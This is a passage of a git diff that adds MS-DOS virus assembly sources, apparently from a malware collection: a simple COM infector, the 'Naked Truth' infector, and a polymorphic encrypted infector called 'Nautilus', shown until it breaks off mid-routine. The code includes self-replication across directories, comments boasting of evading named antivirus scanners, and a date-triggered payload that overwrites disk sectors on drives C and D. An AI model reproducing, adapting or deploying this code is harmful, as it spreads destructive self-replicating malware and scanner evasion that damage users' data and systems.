lst_byt - v_start +codelen = vir_dat - v_start +c_len_x = vir_dat - v_start - 2 +c_len_y = vir_dat - v_start + 100H +old_dta = olddta_ - vir_dat +old_dts = olddts_ - vir_dat +old_tim = oldtim_ - vir_dat +ol_date = oldate_ - vir_dat +old_attr = oldattr_ - vir_dat +first_3 = first3_ - vir_dat +jmp_op = jmpop_ - vir_dat +jmp_dsp = jmpdsp_ - vir_dat +f_spec = fspec_ - vir_dat +path_ad = pathad_ - vir_dat +nam_ptr = namptr_ - vir_dat +env_str = envstr_ - vir_dat +wrk_spc = wrkspc_ - vir_dat +dta = dta_ - vir_dat +dta_tim = dtatim_ - vir_dat +dta_len = dtalen_ - vir_dat +dta_nam = dtanam_ - vir_dat +del_f = delf_ - vir_dat +B_Day = bday_ - vir_dat + CODE ENDS +END VCODE + + diff --git a/MSDOS/Virus.MSDOS.Unknown.myvir.asm b/MSDOS/Virus.MSDOS.Unknown.myvir.asm new file mode 100644 index 00000000..6f9d33a6 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.myvir.asm @@ -0,0 +1,187 @@ +;****************************************************************** +;* * +;* My First Virus, a simple non-overwriting COM infector * +;* * +;* by, Solomon * +;* * +;****************************************************************** + + .model tiny ; Memory model + .code ; Start Code + org 100h ; Start of COM file + +MAIN: db 0e9h,00h,00h ; Jmp START_VIRUS + +START_VIRUS proc near ; Real start of Virus + call FIND_OFFSET + +; Calculate change in offset from host program. + +FIND_OFFSET: pop bp ; BP holds current IP + sub bp, offset FIND_OFFSET ; Calculate net change + ; Change BP to start of + ; virus code + +; Restore original bytes to the infected program. + + lea si,[bp+ORIG_START] ; Restore original 3 bytes + mov di,100h ; to 100h, start of file + push di ; Copy 3 bytes + movsw + movsb + +; Change the DTA from the default so FINDFIRST/FINDNEXT won't destroy +; original command line parameters. + + lea dx,[bp+NEW_DTA] ; Point to new DTA area + call SET_DTA ; Go change it + +; DOS Findfirst / Findnext services + + +FINDFIRST: mov ah,4eh ; DOS find first service + lea dx,[bp+COM_MASK] ; Search for any COM file + xor cx,cx ; Attribute mask +FINDNEXT: int 21h ; Call DOS to do it + jc QUIT ; Quit if there are errors + ; or no more files + +; Ok, if I am here, then I found a possible victim. Open the file and +; check it for previous infections. + + mov ax,3d00h ; DOS Open file, read only + lea dx,[bp+NEW_DTA+30] ; Point to filename we found + int 21h ; Call DOS to do it + xchg ax,bx ; Put file handle in BX + +; Check file for previous infection by checking for our presence at +; then end of the file. + + mov ah,3fh ; DOS Read file + lea dx,[bp+ORIG_START] ; Save the original header + mov cx,3 ; Read 3 bytes + int 21h ; Call DOS to do it + mov ax,word ptr [bp+NEW_DTA+26] ; Put filename in AX + mov cx,word ptr [bp+ORIG_START+1] ; Jmp offset + add cx,END_VIRUS-START_VIRUS+3; Convert to filesize + cmp ax,cx ; Compare file size's + jnz INFECT_COM ; If healthy, go infect it + mov ah,3eh ; Otherwise close file and + int 21h ; try to find another victim + mov ah,4fh ; DOS find next file + jmp short FINDNEXT ; Find another file + +; Restore default DTA and pass control back to original program. +; Call any activation routines here. + +QUIT: mov dx,80h ; Restore original DTA + call SET_DTA ; Go change it + retn ; End Virus and start original + ; Program. Remember, DI holding + ; 100h was pushed on the stack. + +;*** Subroutine INFECT_COM *** + +INFECT_COM: + +; Reset the file attributes to normal so I can write to the file + + mov ax,4301h ; DOS change file attr + xor cx,cx ; Zero attributes + lea dx,[bp+NEW_DTA+30] ; Point to filename in DTA + int 21h ; Call DOS to do it + +; Calculate jump offset for header of victim so it will run virus first. + + mov ax,word ptr [bp+NEW_DTA+26] ; Put filesize in AX + sub ax,3 ; Subtract 3, size-jmp_code + mov word ptr [bp+JMP_OFFSET],ax ; Store new offset + +; Close the file and reopen it for read/write. BX still holds file handle. + + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + mov ax,3d02h ; DOS open file, read/write + int 21h ; Call DOS to do it + xchg ax,bx ; Put file handle in BX + +; Write the new header at the beginning of the file. + + mov ah,40h ; DOS write to file + mov cx,3 ; Write 3 bytes + lea dx,[bp+HEADER] ; Point to the 3 bytes to write + int 21h ; Call DOS to do it + +; Move to end of file so I can append the virus to it. + + mov al,2 ; Select end of file + call FILE_PTR ; Go to end of file + +; Append the virus to the end of the file. + + mov ah,40h ; DOS write to file + mov cx,END_VIRUS-START_VIRUS ; Length of virus + lea dx,[bp+START_VIRUS] ; Start from beginning of virus + int 21h ; Call DOS to do it + +; Restore the file's original timestamp and datestamp. These values were +; stored in the DTA by the Findfirst / Findnext services. + + mov ax,5701h ; DOS set file date & time + mov cx,word ptr [bp+NEW_DTA+22] ; Set time + mov dx,word ptr [bp+NEW_DTA+24] ; Set date + int 21h ; Call DOS to do it + +; Restore original file attributes. + + mov ax,4301h ; DOS change file attr + mov cx,word ptr [bp+NEW_DTA+21] ; Get original file attr + lea dx,[bp+NEW_DTA+30] ; Point to file name + int 21h ; Call DOS + +; Lastly, close the file and go back to main program. + + mov ah,3eh ; DOS close file + int 21h ; Call DOS to do it + jmp QUIT ; We're done + +;*** Subroutine SET_DTA *** + +SET_DTA proc near + mov ah,1ah ; DOS set DTA + int 21h ; Call DOS to do it + retn ; Return +SET_DTA endp + + +;*** Subroutine FILE_PTR *** + + +FILE_PTR proc near + mov ah,42h ; DOS set read/write pointer + xor cx,cx ; Set offset move to zero + cwd ; Equivalent to xor dx,dx + int 21h ; Call DOS to do it + retn ; Return +FILE_PTR endp + + + +; This area will hold all variables to be encrypted + +COM_MASK db '*.com',0 ; COM file mask + +ORIG_START db 0cdh,20h,0 ; Header for infected file + +HEADER db 0e9h ; Jmp command for new header + +START_VIRUS endp + +END_VIRUS equ $ ; Mark end of virus code + +; This data area is a scratch area and is not included in virus code. + +JMP_OFFSET dw ? ; Jump offset for new header +NEW_DTA db 43 dup(?) ; New DTA location + + end MAIN diff --git a/MSDOS/Virus.MSDOS.Unknown.naktruth.asm b/MSDOS/Virus.MSDOS.Unknown.naktruth.asm new file mode 100644 index 00000000..7ac28e80 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.naktruth.asm @@ -0,0 +1,245 @@ +; VirusName : Naked Truth +; Country : Sweden +; Author : The Unforiven / Immortal Riot +; Date : 17/09/1993 +; +; This is a mutation of the virus Born on the Fourth of July +; This was written by TBSI. Mcafee scan used to find it as the +; "ash" virus. But I changed on a few bytes, and he's now tricked. +; Dr Alan Salomon "string" where placed at the beginning +; of the code, but now he's cheated too..So...enjoy! +; +; This is a non-overwriting com infector, it is not resident. +; It checks which day it is, and if it is the 17:ten the +; virus will have a redeeming. A redeeming is very nice. +; +; This might not be the best mutation, but afterall, it +; cheats the most common virus scanners. This was born +; the seventeen of September 1993 (hate all date-names) +; +; Scan v108 can't find this, neither can S&S Toolkit 6.54, +; havn't tried with TBScan/F-Prot, but they will probably +; identify it as the "ash" virus. +; +; Regards : The Unforgiven / Immortal Riot + + +code segment word public 'code' ; +assume cs:code,ds:code ; I assume that too :) +org 100h ; + +main proc;edure ; Old pascal coder ? + + +TITLE Naked Truth ;Mutation Name... +TOF: ;Top-Of-File + jmp short begin ;Skip over program + NOP ;Reserve 3rd byte +EOFMARK: db 26 ;Disable DOS's TYPE + DB 0 ; <- S&S Toolkit "String-Cheater". + +first_four: nop ;First run copy only! +address: int 20h ;First run copy only! +check: nop ;First run copy only! +begin: call nextline ;Push BP onto stack +nextline: pop bp ;BP=location of Skip + sub bp,offset nextline ;BP=offset from 1st run + + mov byte ptr [bp+offset infected],0 + ;Reset infection count + + lea si,[bp+offset first_four] ;Original first 4 bytes + mov di,offset tof ;TOF never changes + mov cx,4 ;Lets copy 4 bytes + cld ;Read left-to-right + rep movsb ;Copy the 4 bytes + + mov ah,1Ah ;Set DTA address ... + lea dx,[bp+offset DTA] ; ... to *our* DTA + int 21h ;Call DOS to set DTA + + mov ah,4Eh ;Find First ASCIIZ + lea dx,[bp+offset immortal] ;DS:DX -} '*.COM',0 + lea si,[bp+offset filename] ;Point to file + push dx ;Save DX + jmp short continue ;Continue... + +return: + mov ah,1ah ;Set DTA address ... + mov dx,80h ; ... to default DTA + int 21h ;Call DOS to set DTA + xor ax,ax ;AX= 0 + mov bx,ax ;BX= 0 + mov cx,ax ;CX= 0 + mov dx,ax ;DX= 0 + mov si,ax ;SI= 0 + mov di,ax ;DI= 0 + mov sp,0FFFEh ;SP= 0 + mov bp,100h ;BP= 100h (RETurn addr) + push bp ; Put on stack + mov bp,ax ;BP= 0 + ret ;JMP to 100h + +nextfile: or bx,bx ;Did we open the file? + jz skipclose ;No, so don't close it + mov ah,3Eh ;Close file + int 21h ;Call DOS to close it + xor bx,bx ;Set BX back to 0 +skipclose: mov ah,4Fh ;Find Next ASCIIZ + +continue: pop dx ;Restore DX + push dx ;Re-save DX + xor cx,cx ;CX= 0 + xor bx,bx + int 21h ;Find First/Next + jnc skipjmp + jmp NoneLeft ;Out of files + +skipjmp: mov ax,3D02h ;open file + mov dx,si ;point to filespec + int 21h ;Call DOS to open file + jc nextfile ;Next file if error + + mov bx,ax ;get the handle + mov ah,3Fh ;Read from file + mov cx,4 ;Read 4 bytes + lea dx,[bp+offset first_four] ;Read in the first 4 + int 21h ;Call DOS to read + + cmp byte ptr [bp+offset check],26 ;Already infected? + je nextfile ;Yep, try again + cmp byte ptr [bp+offset first_four],77 ; + je nextfile ; + + mov ax,4202h ;LSeek to EOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + cmp ax,0FD00h ;Longer than 63K? + ja nextfile ;Yep, try again... + mov [bp+offset addr],ax ;Save call location + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;Point to buffer + int 21h ;Save the first 4 bytes + + mov ah,40h ;Write to file + mov cx,offset eof-offset begin ;Length of target code + lea dx,[bp+offset begin] ;Point to virus start + int 21h ;Append the virus + + mov ax,4200h ;LSeek to TOF + xor cx,cx ;CX= 0 + xor dx,dx ;DX= 0 + int 21h ;Call DOS to LSeek + + mov ax,[bp+offset addr] ;Retrieve location + inc ax ;Adjust location + + mov [bp+offset address],ax ;address to call + mov byte ptr [bp+offset first_four],0E9h ;JMP rel16 + mov byte ptr [bp+offset check],26 ;EOFMARK + + mov ah,40h ;Write to file + mov cx,4 ;Write 4 bytes + lea dx,[bp+offset first_four] ;4 bytes are at DX + int 21h ;Write to file + + inc byte ptr [bp+offset infected] ;increment counter + jmp nextfile ;Any more? + +NoneLeft: cmp byte ptr [bp+offset infected],2 ;2 infected + jae TheEnd ;Party over! + mov di,100h ;DI= 100h + cmp word ptr [di],20CDh ;an INT 20h? + je daycheck ;je daycheck +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; Here instead of "JE" to theend here, jump to Daycheck, and if the day +; isn't the 17:ten, just continue to theend, but if it is, have phun... +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- + lea dx,[bp+offset riot] ;dot-dot method.. +; MOV DX,OFFSET RIOT ;shitty liner.. + mov ah,3Bh ;Set current directory + int 21h ;CHDIR .. + jc TheEnd ;We're through! + mov ah,4Eh ;check for first com + jmp continue ;Start over in new dir +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; If you want to get a redeeming on some special month, just look at the +; call to daycheck at "nonleft" and the call to daycheck. Change the call +; to monthcheck, and "delete" the ";" on procedure monthcheck. But +; remember, that makes, the virus much less destructive, and by that time, +; all scanners has probably added a new scan-string on this one. Now it will +; go off the 17:th every month. Feel free to modify this date as much you +; want to. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄÄ--ÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄÄÄ-ÄÄÄÄÄ-Ä-ÄÄ- +; monthcheck: ; check what month it is.. +; mov ah,2ah ; +; int 21h ; dos to your service.. +; cmp dh,10 ; check if month 10.. +; je daycheck ; if yes jump to day check +; jmp theend ; otherwise jump to theend. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +DAYCHECK: ; Check what day it is.. + mov ah,2ah ; + int 21h ; Dos to your service.. + cmp dl,17 ; Check if it's the forbidden night.. + je redeeming ; If yes, have a great fuck.. + jmp theend ; Otherwise jump to theend + +REDEEMING: ; Havi'n such a great fuck.. + cli ; Cleaning all interrupts..> + mov ah,2 ; Starting with drive C + cwd ; Starting it from 0 + mov cx,0100h ; Continue to 256 + int 026h ; Direct disk-write + jmp KARO ; Jump For Joy..(J4J).. + +KARO: ; Yet another.. + CLI ; No law-breakers here! + MOV AL,3 ; Set to fry drive D + MOV CX,700 ; Set to write 700 sectors + MOV DX,00 ; Starting at sector 0 + MOV DS,[DI+99] ; Put random crap in DS + MOV BX,[DI+55] ; More crap in BX + CALL REDEEMING ; Start it all over.. + +TheEnd: jmp return ; Getting a gold medal ? + +Immortal: db '*.COM',0 ;File Specification +Riot: db '..',0 ;'Dot-Dot' + +MutationName: db " Naked Truth! " +Sizefilling: db " Hi-Tech Assasins - Ready To Take On The World " +morefilling: db " // DEATH TO ALL - PEACE AT LAST // " +Copyleft: db ' The Unforgiven / Immortal Riot ' + + +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- +; None of this information is included in the virus's code. It is only +; used during the search/infect routines and it is not necessary to pre- +; serve it in between calls to them. +; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ- + +EOF: ;End Of File.. +DTA: db 21 dup (?) ;internal search's data + +attribute db ? ;attribute +file_time db 2 dup (?) ;file's time stamp +file_date db 2 dup (?) ;file's date stamp +file_size db 4 dup (?) ;file's size +filename db 13 dup (?) ;filename + +infected db ? ;infection count + +addr dw ? ;Address + +main endp;rocedure +code ends;egment + +end main + +; Greets goes out to : Raver, Metal Militia, Scavenger +; and all other hi-tech assasins all over the world... \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.nautilus.asm b/MSDOS/Virus.MSDOS.Unknown.nautilus.asm new file mode 100644 index 00000000..6c678b31 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.nautilus.asm @@ -0,0 +1,1142 @@ +; NAME: Nautilus.com +; TYPE: Appending +; ENCRYPTION: Yes ( Double Morphing ) +; INFECTS: COM +; ROI: 7 files per run ( Rate Of Infection ) +; RESIDENT: No +; POLYMORPH: Yes ( Encryption Routines/Calls and Offset Finder Change ) +; STEALTH: No +; DT: Yes ( Directory Transversal ) +; REPAIRABLE: Yes +; PAYLOAD: Yes +; SIZE: 1,824 bytes +; AUTHOR: Sea4 + +; This is my finest creation so far. This is a polymorph with 131,072 +; different variations of code, and then if you factor in the different +; XOR/ROR/ROL encryption values, it actually is more than 4*10^11 ( that +; is 400,000,000,000 ). It changes everything about itself that is not +; encrypted, so that the AV scanners have a hard time. It is named +; after the monstrous submarine in the Jules Verne book '20,000 Leagues Under +; the Sea'. It will activate on November 6 of every year, because its a +; significant day in the book. The bomb consists of writing a txt string to +; the end of all TXT files in the current directory, also on that day... no +; *.com files will run from 11pm to midnight and instead will display a text +; string. Some other significant things: +; 1) Will record its infector through the 'InfectedBy' variable +; 2) Saves the DTA so that command parameters passed to an infected +; file are not lost. +; 3) Will infect all read only / hidden / system files and restore attributes +; 4) Will restore DATE/TIME stamps to victem files, and text files +; 5) Will infect Dos and Windows directories + plus any previous directories +; of the one it was run from. And the .\windows\command directory too. +; 6) Will NOT destroy any infected files, and will restore Registers and +; stack pointer before returning control. +; 7) Will NOT infect any files smaller than the Dropper, and none bigger +; than 65,535-3*DropperSize +; 8) Will NOT infect more than 7 files per run +; 9) And it will randomly generate encryption/decryption values + +; +; - Sea4 of the CodeBreakers +; + +start: +jmp Virus_start ; Jumps to the start of the virus. This + ; will change as the virus is appended to + ; different size files. +Virus_start: +call Delta ; Now we have to get the delta offset. By + ; calling Delta we push the address of 'pop bp' + ; onto the stack. +Delta: +pop ax ; Put the address into BP so it can be used. +sub ax,offset delta ; Now this takes the distance that Delta is now +nop ; Occupy space so that this +nop ; takes up 10 bytes +xchg bp,ax ; now (BP) and subtracts where it started + ; (Offset Delta). Understand?? Hopefully you do! + ; Because most files are different sizes, and this + ; virus just attaches itself to the end we have + ; to find out where it is before it can do anything. + +Decrypt: ; This is one spot modified by the Morphing + +mov cx,cryptie-hidden ; Give length of area to decrypt to CX +lea si,[bp+hidden] ; Start of area to decrypt +mov di,si ; its also the destination for decrypted part +mov dl,[bp+DecVal1] ; Stores Decryption Value in dl +mov dh,[bp+Xor1val] ; Xor Value to be used in this call +nop ; 1 byte to make space for morphing +call Cryptie ; Decrypts the virus from here to the decryption + ; routine. + +Hidden: ; Only encrypted once, because this is the decrypt + ; call for the second layer. This is modyfied by + ; the Morphing. + +mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt +lea si,[bp+Dhidden] ; Puts the starting address of the secong layer of + ; encryption into DI +mov di,si ; Then SI +mov dl,[bp+DecVal2] ; Decryption code value +mov dh,[bp+Xor2Val] ; Xor Value to be used by this call +nop ; 1 byte to take up space for morphing +call DCryptie ; Boom! Decrypts the second layer + +DHidden: ; Area that is hidden with Double encryption + +; Here we will write the saved bytes from the beggining of the file, back +; to where they belong, so that we may run the file as normal, after we +; infect some more files of course :) + +lea di,100h ; We are gonna write the saved bytes to the start + ; so we run the program as normal after we infect + ; some files. +mov cx,03h ; The number of bytes we have to write back to start +lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale + ; that would be changed depending on infected file + ; size. We just add our Delta offset to find out + ; its exact location. +rep movsb ; Quickly restores the file so we can run it after + ; we get through here. + +; Save the DTA +NewDTA EQU Buffer+VirL +; It will be after the buffer needed for copying the virus + +lea di,[bp+NewDTA] ; Puts the DTA after the buffer used by copying + ; the virus. +mov si,80h ; DTA area that we must save +mov cx,2Ah ; Length of DTA = 42d bytes ( 2Ah ) +rep movsb ; Puts it in a safe place + +; Save the current directory so that control is restored in the +; right place after the virus has run. +mov ah,47h ; Function 47h: Get Current Directory +xor dx,dx ; 00h in DL = Default Drive +lea si,[bp+CurDIR] ; 64 byte buffer for pathname +int 21h ; Calls DOS to write current DIR to CurDIR + + +; Put the name of this file into 'Infectedby' so that +; the victem file knows who infected it :) MyName will be +; set when each file is found. + +lea si,[bp+MyName] ; Name of the running file +lea di,[bp+Infectedby] ; Place where the victems will see their infector +mov cx,0Dh ; 0Dh bytes, length of name +rep movsb ; Moves it by bytes + +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +popa + +Chg_Dot_Dot: ; Go to '..' all the way to root dir infecting along the way +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+dot_dot] ; Dot_Dot mask +int 21h ; Calls DOS to go back 1 directory +jc Go_DOS ; Change Directory to DOS because it has a few + ; frequently used COM files +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +popa +jmp Chg_Dot_Dot ; Do again, till we hit root directory + +Go_DOS: ; Go to DOS +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+dos_mask] ; DOS +int 21h ; Calls DOS to go back 1 directory +jc Windows + +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +pusha + +Windows: ; Infect Windows DIR +; Got to move back to ROOT +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+dot_dot] ; Dot_Dot mask +int 21h ; Calls DOS to go back 1 directory + +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+win_mask] ; win mask +int 21h ; Open windows DIR +jnc InfectWin +jmp WinCom + +InfectWin: +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +popa + +WinCom: ; Infect .\windows\command +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+win_com] ; command directory mask +int 21h ; Open command directory +jnc InfWinCom +jmp BadStuff + +InfWinCom: +pusha +call InfectDir ; Umm, maybe it infects the directory, I am not + ; sure though. +popa +jmp BadStuff + +SavedDTAs EQU NewDTA+2Ah + +InfectDir: +mov ax,4E00h ; Function 4Eh: Find First +Findnext: ; Findnext jmp point +lea dx,[bp+filemask] ; Gets the filemask = '*.com',0 +mov cx,07h ; Find all file types +int 21h ; Tells DOS to find the *.com files + +jnc Open ; Found one, now open it! + +ret ; NONE left, lets jump back to changing directories + +Open: ; Open/Encrypt/Infect routines + + + +; Now we have to retrieve the name of the file to be infected +; so that we may put it into the MyName variable. The reason +; it is done this way is to delete extra characters that may +; have been left from longer filenames. :) + +mov si,9Eh ; ASCIZ filename +lea di,[bp+MyName] ; Name of the file to be infected +mov cx,0Dh ; 0Dh (13d) bytes, name length +GetName: +lodsb ; Gets the next char of name +cmp al,00h ; Checks to see if the name is done +je DelRest ; If the name is done we blank out the other chars +stosb ; Store the character into MyName +loop GetName ; Gets the whole name this way + +Delrest: +rep stosb ; Pushes 00h into the remaining chars if the filename + ; is done before 13 chars + +; Save attributes, then set them to 0, so we can +; modify this file. They are restored at 'Close' + +lea si,[95h] ; Start of file attributes +mov cx,09h ; CX is enough to read: Attrib/Time/Date/Size +lea di,[bp+s_attr] ; Place to save all the file attribs +rep movsb ; Moves em to their new home ( to be restore later ) + +; Set attrib to 0 +lea dx,[9Eh] ; Filename in DTA +mov ax,4301h ; Function 4301h: Set File Attributes +xor cx,cx ; Clear file attribs +int 21h ; Calls DOS to do 'our dirty work' + +mov ax,3D02h ; Function 3Dh: Open File + ; 02 = Read/Write access +mov dx,9Eh ; Location of ASCIZ filename +int 21h ; Calls DOS to open the file, with Read/Write access + ; so that we can write the virus to it :) + +xchg bx,ax ; Gives the file handle from AX to BX in one byte. + +mov ah,3Fh ; Function 3Fh: Read from file +mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes + ; to read from file. +lea dx,[bp+saved] ; The location for the bytes to be stored when read. +int 21h ; Calls DOS to load the first 3 bytes of Victem file + ; into the 'Saved' location so that it may run correctly. + +mov al,0E9h ; Checks to see if it was a jump instruction +cmp al,[bp+saved] ; by matching E9h to the first byte of the file. +jne Uninfected ; It can't be infected by this virus because the file + ; has NO jmp at its beggining. +mov ax,[80h+1Ah] ; Gets filesize +sub ax,Virl+3 ; subtracts JMP size and Virus Size +cmp ax,[bp+saved+1] ; See if the file is infected by THIS virus +jne Uninfected + +Close: +jmp Infected + +Uninfected: + +; Check if file meets requirements for infection + +mov ax,[9Ch] ; Get file offset size +cmp ax,0 ; see if its = 0 +jnz Close ; If the file is larger than 64k we can't infect it, + ; plus it might command.com or some other important file. + +Filesize EQU Buffer-Start + +mov ax,[80h+1Ah] ; Gets the filesize of the target file +cmp ax,FileSize ; If file is smaller than the 1st Gen. file, it is safe +jc Close ; so we jump to close + +cmp ax,0FFFFh-(3*FileSize) ; If file is larger than AX +jnc Close ; Errors may occur + +sub ax,03h ; Takes into account the length of the JMP instruction +mov [bp+jumpto],ax ; Puts the location to jmp to as the + ; 2nd,3rd bytes of the buffer. + +; Call Morph, changes the encryption routines and calls +push bx ; Saves BX +call Morph ; Calls the morphing routine +pop bx ; Retrieves BX + +mov ax,4200h ; Function 42h: Move File Pointer + ; 00h = beggining, after the read the FP moves 3 bytes +xor cx,cx ; 0 = CX +xor dx,dx ; 0 = DX +int 21h ; Calls DOS, this is explained a bit more with the + ; next "Move File Pointer" instruction + +mov ah,40h ; Function 40h: Write to file +mov cx,03 ; Number of bytes to write. CX = # of bytes +lea dx,[bp+jumping]; Start at buffer area, this will write the jump + ; instruction to the beggining of the victem file. +int 21h ; Blammo! This is the jmp that skips over the normal + ; file and heads write to the virus code. INT 21h tells + ; DOS to write those three bytes. + +mov ax,4202h ; Function 42h: Move File pointer + ; 02 = End of file ( EOF ) +xor cx,cx ; DX:CX is the offset from the File pointer location, +xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX +int 21h ; Calls DOS to move the file pointer + +; Write the Virus to memory + +VirL EQU Ende-Virus_Start + +; Length of Virus except jmp at beggining + +lea si,[bp+Virus_Start] ; Start of virus +lea di,[bp+buffer] ; Area that it will be stored in mem +mov cx,VirL ; Length of it +rep movsb + +; Now we have to modify it so that it is encrypted + +DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will + ; end up double encrypted. +HiddenL EQU Cryptie-Hidden ; Length of single encrypt area +DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer +HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer + +; More ways to clear up the clutter + +; Here we encrypt All but the second and first Decrypt calls, and the +; decryption routines that go with em. + +lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then +mov di,si ; be encrypted again, giving us our Doubly Encrypted + ; area. +mov cx,DHiddenL ; Length of this area +mov dl,[bp+EncVal2] ; ROL/ROR value +mov dh,[bp+Xor2Val] ; Xor value +call DCryptie ; Calls the Second Encryption routine + ; because this will become decrypted by the first + ; when infected files are run. + +; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to +; DCryptie for the second time ) which makes this double encrypting. + +lea si,[bp+HBufStart] ; Start of Hidden area in buffer +mov di,si ; You should know this one by now. +mov dl,[bp+EncVal1] ; ROR/ROL value +mov dh,[bp+Xor1Val] ; Xor value +mov cx,HiddenL ; Length of the area +call Cryptie ; Uhoh, now its encrypted and the AV software won't + ; find it. Now what are we gonna do? + ; ( Being sarcastic of course! ) + +; So we have the virus prepared for infecting :) + +mov ah,40h ; Function 40h: Write to file ( everyone's fave ) +lea dx,[bp+buffer] ; Start of virus in mem buffer +mov cx,VirL ; Length of it +int 21h ; Calls DOS to write this :) + +inc byte ptr [bp+victems] ; Increase victem # + +Infected: ; A place to jump in case the file is already infected + +mov ax,5701h ; Function 5701h: Set File's Last - Written Date and Time +mov dx,word ptr [bp+s_date] ; DX = Date +mov cx,word ptr [bp+s_time] ; CX = Time +int 21h ; More Dirty work for DOS + +mov ah,3Eh ; Function 3Eh: Close File +int 21h ; Calls DOS to close up the file. + +mov ax,4301h ; Function 4301h: Set File Attributes +lea dx,[9Eh] ; Filename in DTA +xor cx,cx ; Clears CX +mov cl,byte ptr [bp+s_attr] ; Puts the attributes into CL +int 21h ; Isn't DOS just sooooo helpful. + +cmp byte ptr [bp+Victems],07h ; Check to see if 7 files have been infected. + +je BadStuff ; Place where the bomb will be dropped + +mov ax,4F00h ; Function 4Fh: Find next +jmp Findnext + +Badstuff: ; Here is where the payload goes +; This is a real simple payload +; It will go off on the day that the Abraham Lincoln was rammed by the +; Nautilus submarine in the book 20,000 Leagues Under The Sea. +; It will then print a text string to the end of all text files in the +; current directory, and display a message and no *.com files will run +; from 11pm to midnight because that is around the time of day it happened +; ( in the book at least ), its fiction in case you were wondering +Go_Root: ; Takes us to root +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+dot_dot] ; '..' back a directory +int 21h ; Hey DOS, lets go to the ROOT Directory +jnc Go_root ; Loops til we hit the root + +; Now We head back to the directory we started in by getting the +; CurDIR variable from its buffer +mov ah,3Bh ; Function 3Bh: Change Directory +lea dx,[bp+CurDIR] ; Saved starting directory +int 21h +jnc DropBomb ; It was successful +jmp Exit ; For whatever reason we were not able to get there + ; so we should exit + +DropBomb: +mov ah,04h ; Function 04h: Get Real Time Clock ( Date ) +int 1Ah ; INT 1Ah BIOS Time interrupt + ; Gets the date and puts the value into the following + ; registers. + ; CH = Century + ; CL = Year + ; DH = Month + ; DL = Day + +cmp dx,1106h ; The day that the Nautilus rammed Professor Arronax's ship +je WriteText ; Only activate on this day +jmp Exit ; Otherwise get out of here + +WriteText: +mov ah,4Eh ; Function 4Eh: Find First +FindNextText: +lea dx,[bp+textmask] ; Gets the text file mask +mov cx,07h ; all file attributes +int 21h ; Tells DOS to get us the file +jnc OpenText +jmp FindTime + +OpenText: +lea si,[95h] ; Start of file attributes +mov cx,09h ; CX is enough to read: Attrib/Time/Date/Size +lea di,[bp+s_attr] ; Place to save all the file attribs +rep movsb ; Moves em to their new home ( to be restore later ) + +; Set attrib to 0 +lea dx,[9Eh] ; Filename in DTA +mov ax,4301h ; Function 4301h: Set File Attributes +xor cx,cx ; Clear file attribs +int 21h ; Calls DOS to do 'our dirty work' + +mov ax,3D01h ; Function 3Dh: Open File + ; 01h = for write access +mov dx,9Eh ; ASCIZ Filename in DTA +int 21h ; Calls DOS to tear that baby open! + +xchg bx,ax ; Puts file handle in BX + +mov ax,4202h ; Function 42h: Move File Pointer + ; 02 = End Of File (EOF) 